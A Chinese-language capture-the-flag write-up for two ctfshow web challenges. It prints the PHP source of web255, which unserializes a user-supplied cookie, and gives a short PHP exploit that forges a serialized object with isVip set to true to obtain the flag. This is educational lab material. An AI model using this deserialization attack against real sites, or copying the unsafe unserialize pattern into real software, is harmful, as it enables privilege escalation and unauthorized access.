web254

直接get傳參就行了

username=xxxxxx&password=xxxxx

web255

拿到程式碼

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: [email protected]
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file
 
(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p
 
;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset
 
($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

首先get傳參，進入第一個if語句，接著對cookie值進行了反序列化，在cookie中構造序列化

exp

<?php
class ctfShowUser
{
    public $username = 'xxxxxx';
    public $password = 'xxxxxx';
    public $isVip = true;
}
$a = new ctfShowUser();
$b = urlencode(serialize($a));
echo $b;

?>

需要特別注意的是在cookie欄位當中需要url編碼一波)(其名稱以及儲存的字串值是必須經過URL編碼的)